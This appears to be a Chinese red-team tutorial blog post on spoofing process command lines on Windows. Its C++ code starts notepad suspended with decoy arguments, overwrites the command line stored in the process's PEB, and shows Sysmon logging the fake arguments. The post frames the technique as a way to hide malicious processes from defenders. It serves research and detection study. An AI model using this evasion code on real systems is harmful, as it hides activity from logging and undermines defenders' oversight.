首页 红蓝对抗-命令行欺骗
文章
取消

红蓝对抗-命令行欺骗

0X00 什么是命令行欺骗

创建进程时,内部Windows数据结构Process Environment Block将会映射到进程虚拟内存中。该数据结构包含有关进程本身的大量信息,例如已加载模块的列表,以及用于启动进程的命令行。由于PEB(以及命令行)存储在进程的内存空间而不是内核空间中,因此只要我们对进程具有适当的权限,就很容易实现对其的覆盖。

0x01 为什么要用命令行欺骗

在蓝队排查恶意进程过程中,经常会使用processexplorer等进程检查工具进行详细的检测,而通常的恶意进程往往特征会比较明显,而这种技术可以通过伪造PEB进程环境块来伪装自己,让自身的特征不那么明显,从而增加存活率,更好的隐藏自己。

0x02 实现思路

进程通常可以使用命令行参数来启动。例如,如果我们这样做:

1
C:\Users\redteam>notepad C:\Windows\System32\WindowsCodecsRaw.txt

记事本将会启动并打开指定的WindowsCodecsRaw.txt文件,而日志工具和流程检查工具可以读取这些参数,因为它们存储在进程本身的进程环境块(PEB)中

然而,在很多时候,我们可能希望尽可能隐藏我们的命令行参数,以达到隐藏我们的真实意图或误导蓝队的目的。这便可以通过以下步骤实现:

  • 在挂起状态下创建一个“假”参数(这是我们想要记录的参数)的进程
  • 进入到PEB并找到RTL_USER_PROCESS_PARAMETERS
  • 用要执行的实际参数覆盖此结构中的命令行参数
  • 继续该过程。当进程恢复时,它将执行新的参数

0x03 具体实现

我们可以使用使用带有Create_SUSPENDED标志的伪参数来创建目标进程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <iostream>
#include <Windows.h>

int main()
{
    // 使用假参数创建进程
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi;

    WCHAR fakeArgs[] = L"notepad fake_args_test.txt";

    if (CreateProcess(
        L"C:\\Windows\\System32\\notepad.exe",
        fakeArgs,
        NULL,
        NULL,
        FALSE,
        CREATE_SUSPENDED,
        NULL,
        L"C:\\",
        &si,
        &pi))
    {
        printf("Process created: %d", pi.dwProcessId);
    }
}

接下来,我们需要使用本机的NtQueryInformationProcess API来查询进程并填充process_BASIC_INFORATION结构。此结构的属性之一便是PEB的基址。因此,我们需要函数的typedef

1
2
3
4
5
6
7
8
9
#include <iostream>
#include <Windows.h>
#include <winternl.h>

typedef NTSTATUS(*QueryInformationProcess)(IN HANDLE, IN PROCESSINFOCLASS, OUT PVOID, IN ULONG, OUT PULONG);

// 从ntdll.dll解析API的位置
HMODULE ntdll = GetModuleHandle(L"ntdll.dll");
QueryInformationProcess NtQueryInformationProcess = (QueryInformationProcess)GetProcAddress(ntdll, "NtQueryInformationProcess");

然后我们调用它

1
2
3
4
5
6
7
8
9
10
// 调用NtQueryInformationProcess去读取PROCESS_BASIC_INFORATION
PROCESS_BASIC_INFORMATION pbi;
DWORD length;

NtQueryInformationProcess(
    pi.hProcess,
    ProcessBasicInformation,
    &pbi,
    sizeof(pbi),
    &length);

使用ReadProcessMemory读取PEB。。

1
2
3
4
5
6
7
8
9
10
// 通过PEB基址读取PEB结构本身
PEB peb;
SIZE_T bytesRead;

ReadProcessMemory(
    pi.hProcess,
    pbi.PebBaseAddress,
    &peb,
    sizeof(PEB),
    &bytesRead);

现在,从PEB中,我们得到了ProcessParameters的位置,接下来读这些东西

1
2
3
4
5
6
7
8
9
// 读取进程参数
RTL_USER_PROCESS_PARAMETERS rtlParams;

ReadProcessMemory(
    pi.hProcess,
    peb.ProcessParameters,
    &rtlParams,
    sizeof(RTL_USER_PROCESS_PARAMETERS),
    &bytesRead);

制作新参数并将其写入命令行的缓冲区

1
2
3
4
5
6
7
8
9
10
// 新参数写入命令行的缓冲区
WCHAR newArgs[] = L"notepad C:\\Windows\\System32\\WindowsCodecsRaw.txt";
SIZE_T bytesWritten;

WriteProcessMemory(
    pi.hProcess,
    rtlParams.CommandLine.Buffer,
    newArgs,
    sizeof(newArgs),
    &bytesWritten);

最后,继续该过程

1
ResumeThread(pi.hThread);

记事本现在将打开WindowsCodecsRaw.txt,但Sysmon已经记录了假参数

1
2
3
4
5
Process Create:
ProcessId: 7056
Image: C:\Windows\System32\notepad.exe
CommandLine: notepad fake_args_test.txt
CurrentDirectory: C:\

但是如果我们用Process Hacker检查它,我们会发现一些有趣的东西

它是指向真实文件的路径,并且被截断了。那么这里发生了什么?

首先,Process Hacker提供时间点数据。每次我们关闭并重新打开流程的属性窗口时,它都会重新读取PEB。所以从逻辑上讲,它现在正在读取我们写入PEB的新参数

其次,这个缓冲区中的数据实际上是一个UNICODE_STRING

1
2
3
4
5
struct UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
}

我们可以看到它有一个Buffer(保存实际数据)和一个Length(数据长度)。创建进程时,它的长度为58(notepad fake_args_test.txt),但新的参数(notepad C:\Windows\System32\WindowsCodecsRaw.txt)的长度为96。我们更新的是缓冲区的内容,而不是长度字段;如果我们读取了58个字节的新参数,那么它将会发生上面的情形

0x04 小结

本文介绍了命令行欺骗的实现

注:本文仅用于安全研究和学习之用

本文由作者按照 CC BY 4.0 进行授权